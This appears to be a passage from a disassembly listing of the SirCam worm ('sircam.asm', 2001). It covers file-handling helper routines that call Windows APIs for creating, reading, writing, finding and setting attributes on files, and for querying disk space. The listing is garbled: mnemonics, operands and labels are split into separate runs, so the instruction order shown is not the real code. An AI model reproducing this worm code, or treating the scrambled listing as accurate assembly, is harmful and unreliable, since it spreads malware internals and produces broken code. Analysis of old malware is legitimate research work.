; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_406FEC
proc near
var_8
var_4
= dword ptr -8
= byte ptr -4
sub_406FEC
add
push
mov
mov
lea
mov
mov
call
pop
pop
retn
endp
; CODE XREF: sub_4101AC+56F\031p
esp, 0FFFFFFF8h
0
[esp+0Ch+var_8], eax
[esp+0Ch+var_4], 0
ecx, [esp+0Ch+var_8]
eax, edx
edx, offset dword_407018
sub_407B40
ecx
edx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 2
dword_407018
dd 6425h
; DATA XREF: sub_406FEC+14\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40701C
proc near
var_10
var_C
var_8
var_4
=
=
=
=
sub_40701C
add
push
mov
mov
mov
mov
lea
mov
xchg
call
add
retn
endp
; CODE XREF: sub_40F3B4+95\031p
; sub_41238C+37\031p
dword ptr -10h
byte ptr -0Ch
dword ptr -8
byte ptr -4
esp, 0FFFFFFF0h
1
[esp+14h+var_10], edx
[esp+14h+var_C], 0
[esp+14h+var_8], eax
[esp+14h+var_4], 0
eax, [esp+14h+var_10]
edx, offset dword_407050
eax, ecx
sub_407B40
esp, 10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 4
dword_407050
dd 782A2E25h, 0
; DATA XREF: sub_40701C+1B\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
sub_407058
Fri Aug 10 12:42:44 2001
proc near
sub_407058
; CODE XREF: sub_408EFC+3E\031p
; sub_408F74+34\031p ...
push
push
mov
mov
call
cmp
jz
mov
ebx
ecx
ebx, edx
edx, esp
sub_402978
dword ptr [esp+0], 0
short loc_40706B
eax, ebx
pop
pop
retn
endp
edx
ebx
loc_40706B:
181
; CODE XREF: sub_407058+F\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407070
sub_407070
proc near
; CODE XREF: sub_40D940+61\031p
push
ebx
push
esi
mov
ebx, edx
mov
esi, eax
push
0
push
80h
push
3
push
0
mov
eax, ebx
and
eax, 0F0h
shr
eax, 4
mov
eax, ds:dword_41C138[eax*4]
push
eax
and
ebx, 3
mov
eax, ds:dword_41C12C[ebx*4]
push
eax
mov
eax, esi
call
sub_4038E8
push
eax
call
j_CreateFileA_0
pop
esi
pop
ebx
retn
endp ; sp = -1Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4070B0
proc near
; CODE XREF: sub_40D940+28\031p
push
ebx
mov
ebx, eax
push
0
push
80h
push
2
push
0
push
0
push
0C0000000h
mov
eax, ebx
call
sub_4038E8
push
eax
call
j_CreateFileA_0
pop
ebx
retn
sircam.asm
sub_4070B0
Fri Aug 10 12:42:44 2001
182
endp ; sp = -1Ch
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4070D4
proc near
var_14
= dword ptr -14h
push
push
push
push
mov
mov
mov
push
lea
push
push
push
push
call
test
jnz
mov
loc_4070F8:
sub_4070D4
; CODE XREF: CODE:0040D8F7\031p
ebx
esi
edi
ecx
edi, ecx
esi, edx
ebx, eax
0
eax, [esp+4]
eax
edi
esi
ebx
j_ReadFile_0
eax, eax
short loc_4070F8
[esp+14h+var_14], 0FFFFFFFFh
; CODE XREF: sub_4070D4+1B\030j
mov
eax, [esp+14h+var_14]
pop
edx
pop
edi
pop
esi
pop
ebx
retn
endp ; sp = -14h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407100
proc near
var_14
= dword ptr -14h
push
push
push
push
mov
mov
mov
push
lea
push
push
push
push
call
test
jnz
mov
loc_407124:
mov
pop
pop
pop
pop
retn
; CODE XREF: CODE:0040D907\031p
ebx
esi
edi
ecx
edi, ecx
esi, edx
ebx, eax
0
eax, [esp+4]
eax
edi
esi
ebx
j_WriteFile_0
eax, eax
short loc_407124
[esp+14h+var_14], 0FFFFFFFFh
; CODE XREF: sub_407100+1B\030j
eax, [esp+14h+var_14]
edx
edi
esi
ebx
sircam.asm
sub_407100
Fri Aug 10 12:42:44 2001
183
endp ; sp = -14h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40712C
sub_40712C
proc near
; CODE XREF: CODE:0040D91A\031p
push
ecx
push
0
push
edx
push
eax
call
j_SetFilePointer_0
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407138
sub_407138
proc near
; CODE XREF: sub_40D9F8+12\031p
push
eax
call
j_CloseHandle_0
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_407140
proc near
var_14C
var_138
var_C
var_4
=
=
=
=
; CODE XREF: sub_4071A8+5\031p
byte ptr -14Ch
byte ptr -138h
byte ptr -0Ch
dword ptr -4
push
mov
add
push
mov
lea
push
mov
call
push
call
cmp
jz
push
call
test
jnz
lea
push
lea
push
call
lea
push
lea
push
lea
push
call
ebp
ebp, esp
esp, 0FFFFFEB4h
ebx
ebx, eax
eax, [ebp+var_14C]
eax
eax, ebx
sub_4038E8
eax
j_FindFirstFileA_0
eax, 0FFFFFFFFh
short loc_407199
eax
j_FindClose_0
[ebp+var_14C], 10h
short loc_407199
eax, [ebp+var_C]
eax
eax, [ebp+var_138]
eax
j_FileTimeToLocalFileTime
eax, [ebp+var_4]
eax
eax, [ebp+var_4+2]
eax
eax, [ebp+var_C]
eax
j_FileTimeToDosDateTime
sircam.asm
Fri Aug 10 12:42:44 2001
test
jnz
eax, eax
short loc_4071A0
mov
; CODE XREF: sub_407140+23\030j
; sub_407140+32\030j
[ebp+var_4], 0FFFFFFFFh
loc_407199:
loc_4071A0:
sub_407140
184
; CODE XREF: sub_407140+57\030j
mov
pop
mov
pop
retn
endp
eax, [ebp+var_4]
ebx
esp, ebp
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4071A8
proc near
sub_4071A8
push
mov
mov
call
inc
setnz
pop
retn
endp
; CODE XREF: sub_416178+33\031p
; sub_416B20+39\031p ...
ebx
ebx, eax
eax, ebx
sub_407140
eax
al
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4071B8
proc near
push
push
push
mov
mov
xor
push
mov
call
push
call
test
jnz
call
mov
ebx
esi
edi
edi, edx
esi, eax
ebx, ebx
edi
eax, esi
sub_4038E8
eax
j_SetFileAttributesA
eax, eax
short loc_4071DA
j_GetLastError_0
ebx, eax
mov
pop
pop
pop
retn
endp
eax, ebx
edi
esi
ebx
loc_4071DA:
sub_4071B8
; CODE XREF: sub_416178+63\031p
; sub_416478+1E0\031p ...
; CODE XREF: sub_4071B8+19\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4071E0
proc near
var_8
= byte ptr -8
; CODE XREF: sub_407244+2C\031p
; sub_407294+16\031p
sircam.asm
Fri Aug 10 12:42:44 2001
185
push
ebx
add
esp, 0FFFFFFF8h
mov
ebx, eax
jmp
short loc_407200
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4071E8:
; CODE XREF: sub_4071E0+26\031j
lea
eax, [ebx+18h]
push
eax
mov
eax, [ebx+14h]
push
eax
call
j_FindNextFileA
test
eax, eax
jnz
short loc_407200
call
j_GetLastError_0
jmp
short loc_40723F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407200:
; CODE XREF: sub_4071E0+6\030j
; sub_4071E0+17\030j
mov
and
jnz
push
lea
push
call
push
lea
push
lea
push
call
mov
mov
mov
mov
lea
lea
mov
call
xor
eax, [ebx+18h]
eax, [ebx+10h]
short loc_4071E8
esp
eax, [ebx+2Ch]
eax
j_FileTimeToLocalFileTime
ebx
eax, [ebx+2]
eax
eax, [esp+10h+var_8]
eax
j_FileTimeToDosDateTime
eax, [ebx+38h]
[ebx+4], eax
eax, [ebx+18h]
[ebx+8], eax
eax, [ebx+0Ch]
edx, [ebx+44h]
ecx, 104h
sub_4036F8
eax, eax
pop
pop
pop
retn
endp
ecx
edx
ebx
loc_40723F:
sub_4071E0
; CODE XREF: sub_4071E0+1E\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407244
proc near
push
push
push
mov
mov
not
and
mov
lea
push
mov
call
ebx
esi
edi
ebx, ecx
edi, eax
edx
edx, 1Eh
[ebx+10h], edx
eax, [ebx+18h]
eax
eax, edi
sub_4038E8
; CODE XREF: sub_417928+B4\031p
; sub_417928+19E\031p
sircam.asm
Fri Aug 10 12:42:44 2001
186
push
eax
call
j_FindFirstFileA_0
mov
esi, eax
mov
[ebx+14h], esi
cmp
esi, 0FFFFFFFFh
jz
short loc_407284
mov
eax, ebx
call
sub_4071E0
mov
esi, eax
test
esi, esi
jz
short loc_40728B
mov
eax, ebx
call
sub_4072B8
jmp
short loc_40728B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407284:
; CODE XREF: sub_407244+28\030j
call
mov
j_GetLastError_0
esi, eax
loc_40728B:
sub_407244
; CODE XREF: sub_407244+35\030j
; sub_407244+3E\030j
mov
eax, esi
pop
edi
pop
esi
pop
ebx
retn
endp ; sp = -8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407294
proc near
; CODE XREF: sub_417928+145\031p
; sub_417928+24F\031p
push
ebx
mov
ebx, eax
lea
eax, [ebx+18h]
push
eax
mov
eax, [ebx+14h]
push
eax
call
j_FindNextFileA
test
eax, eax
jz
short loc_4072B1
mov
eax, ebx
call
sub_4071E0
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4072B1:
sub_407294
; CODE XREF: sub_407294+12\030j
call
pop
retn
endp
j_GetLastError_0
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4072B8
proc near
push
mov
mov
cmp
jz
push
ebx
ebx, eax
eax, [ebx+14h]
eax, 0FFFFFFFFh
short loc_4072D0
eax
; CODE XREF: sub_407244+39\030p
; sub_417928+158\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
call
mov
j_FindClose_0
dword ptr [ebx+14h], 0FFFFFFFFh
loc_4072D0:
sub_4072B8
187
; CODE XREF: sub_4072B8+9\030j
pop
ebx
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4072D4
proc near
push
push
push
push
mov
mov
mov
call
mov
mov
call
mov
test
jle
ebx
esi
edi
ebp
esi, edx
ebx, eax
eax, esi
sub_403724
edi, eax
eax, ebx
sub_4038E8
ebp, eax
edi, edi
short loc_40731A
mov
test
jz
mov
mov
call
test
jz
mov
mov
call
cmp
jnz
dec
bl, [esi+edi-1]
bl, bl
short loc_407315
edx, ebx
eax, ebp
sub_407628
eax, eax
short loc_407315
edx, edi
eax, esi
sub_409D14
al, 2
short loc_40731A
edi
; CODE XREF: sub_407324+2A\031p
; sub_4073B8+E\031p ...
loc_4072F2:
; CODE XREF: sub_4072D4+44\031j
loc_407315:
; CODE XREF: sub_4072D4+24\030j
; sub_4072D4+31\030j
dec
test
jg
edi
edi, edi
short loc_4072F2
loc_40731A:
sub_4072D4
; CODE XREF: sub_4072D4+1C\030j
; sub_4072D4+3E\030j
mov
pop
pop
pop
pop
retn
endp
eax, edi
ebp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sircam.asm
Fri Aug 10 12:42:44 2001
sub_407324
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_416C54+5B\031p start+235\031p
push
mov
add
push
push
push
xor
mov
mov
mov
mov
xor
push
push
push
mov
mov
mov
call
mov
test
jz
cmp
jz
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
esi
edi
ebx, ebx
[ebp+var_8], ebx
[ebp+var_4], ecx
edi, edx
esi, eax
eax, eax
ebp
offset loc_40739B
dword ptr fs:[eax]
fs:[eax], esp
edx, esi
eax, offset dword_4073B4
sub_4072D4
ebx, eax
ebx, ebx
short loc_407360
byte ptr [esi+ebx-1], 2Eh
short loc_407365
mov
ebx, 7FFFFFFFh
lea
push
mov
dec
mov
mov
call
mov
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_407324+3A\030j
eax, [ebp+var_8]
eax
ecx, ebx
ecx
edx, 1
eax, esi
sub_40392C
edx, [ebp+var_8]
eax, [ebp+var_4]
ecx, edi
sub_403770
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4073A2
loc_407360:
; CODE XREF: sub_407324+33\030j
loc_407365:
loc_407392:
sub_407324
188
; CODE XREF: CODE:004073A0\031j
lea
eax, [ebp+var_8]
call
sub_4034C8
retn
endp ; sp = -1Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40739B:
; DATA XREF: sub_407324+18\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_407392
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4073A2:
; DATA XREF: sub_407324+69\030o
pop
pop
pop
edi
esi
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
189
pop
ecx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 3
dword_4073B4
dd 3A5C2Eh
; DATA XREF: sub_407324+25\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4073B8
proc near
sub_4073B8
push
push
push
mov
mov
mov
mov
call
mov
push
mov
mov
mov
call
pop
pop
pop
retn
endp
; CODE XREF: sub_417F24+2A8\031p
; start+4E8\031p
ebx
esi
edi
edi, edx
ebx, eax
edx, ebx
eax, offset dword_4073E8
sub_4072D4
esi, eax
edi
ecx, esi
edx, 1
eax, ebx
sub_40392C
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 2
dword_4073E8
dd 3A5Ch
; DATA XREF: sub_4073B8+9\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4073EC
proc near
sub_4073EC
push
push
push
mov
mov
mov
mov
call
mov
push
lea
mov
mov
call
pop
pop
pop
retn
endp
; CODE XREF: sub_409864+CC\031p
; sub_412708+56\031p ...
ebx
esi
edi
edi, edx
ebx, eax
edx, ebx
eax, offset dword_407420
sub_4072D4
esi, eax
edi
edx, [esi+1]
ecx, 7FFFFFFFh
eax, ebx
sub_40392C
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 2
dword_407420
dd 3A5Ch
; DATA XREF: sub_4073EC+9\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
Fri Aug 10 12:42:44 2001
sub_407424
proc near
var_104
= byte ptr -104h
sub_407424
push
push
add
mov
mov
push
lea
push
mov
call
push
call
mov
mov
mov
call
add
pop
pop
retn
endp
190
; CODE XREF: sub_416C54+197\031p
; sub_416C54+2FE\031p
ebx
esi
esp, 0FFFFFEFCh
esi, edx
ebx, eax
104h
eax, [esp+108h+var_104]
eax
eax, ebx
sub_4038E8
eax
j_GetShortPathNameA
ecx, eax
edx, esp
eax, esi
sub_4035B0
esp, 104h
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40745C
proc near
var_18
var_14
var_10
var_C
var_8
var_4
arg_0
arg_4
arg_8
=
=
=
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
dword
dword
dword
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
; DATA XREF: sub_40A460+2A\031o
-18h
-14h
-10h
-0Ch
-8
-4
8
0Ch
10h
push
mov
add
push
mov
test
jnz
xor
ebp
ebp, esp
esp, 0FFFFFFE8h
ebx
eax, [ebp+arg_0]
eax, eax
short loc_40746C
eax, eax
lea
push
lea
push
lea
push
lea
push
push
call
mov
mov
imul
; CODE XREF: sub_40745C+C\030j
edx, [ebp+var_10]
edx
edx, [ebp+var_C]
edx
edx, [ebp+var_8]
edx
edx, [ebp+var_4]
edx
eax
j_GetDiskFreeSpaceA
ebx, eax
eax, [ebp+var_4]
[ebp+var_8]
loc_40746C:
sircam.asm
sub_40745C
Fri Aug 10 12:42:44 2001
xor
mov
mov
mov
xor
push
push
mov
mov
call
mov
mov
mov
mov
xor
push
push
mov
mov
call
mov
mov
mov
mov
pop
mov
pop
retn
endp
191
edx, edx
[ebp+var_18], eax
[ebp+var_14], edx
eax, [ebp+var_C]
edx, edx
edx
eax
eax, [ebp+var_18]
edx, [ebp+var_14]
sub_405590
ecx, [ebp+arg_4]
[ecx], eax
[ecx+4], edx
eax, [ebp+var_10]
edx, edx
edx
eax
eax, [ebp+var_18]
edx, [ebp+var_14]
sub_405590
ecx, [ebp+arg_8]
[ecx], eax
[ecx+4], edx
eax, ebx
ebx
esp, ebp
ebp
10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4074D0
proc near
var_8
var_7
var_6
var_5
=
=
=
=
byte
byte
byte
byte
push
add
xor
test
jbe
add
mov
mov
mov
mov
mov
ptr
ptr
ptr
ptr
; CODE XREF: sub_407500+E\031p
-8
-7
-6
-5
esi
esp, 0FFFFFFF8h
esi, esi
al, al
short loc_4074F0
al, 40h
[esp+8+var_8], al
[esp+8+var_7], 3Ah
[esp+8+var_6], 5Ch
[esp+8+var_5], 0
esi, esp
loc_4074F0:
sub_4074D0
; CODE XREF: sub_4074D0+8\030j
push
0
push
edx
push
ecx
push
esi
call
ds:dword_41C128
pop
ecx
pop
edx
pop
esi
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
192
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407500
proc near
var_10
var_C
var_8
= dword ptr -10h
= dword ptr -0Ch
= byte ptr -8
push
add
mov
mov
lea
mov
call
test
jnz
mov
mov
loc_407526:
sub_407500
mov
mov
add
pop
retn
endp
; CODE XREF: start+A24\031p
ebx
esp, 0FFFFFFF0h
ebx, eax
ecx, esp
edx, [esp+10h+var_8]
eax, ebx
sub_4074D0
eax, eax
short loc_407526
[esp+10h+var_10], 0FFFFFFFFh
[esp+10h+var_C], 0FFFFFFFFh
; CODE XREF: sub_407500+15\030j
eax, [esp+10h+var_10]
edx, [esp+10h+var_C]
esp, 10h
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
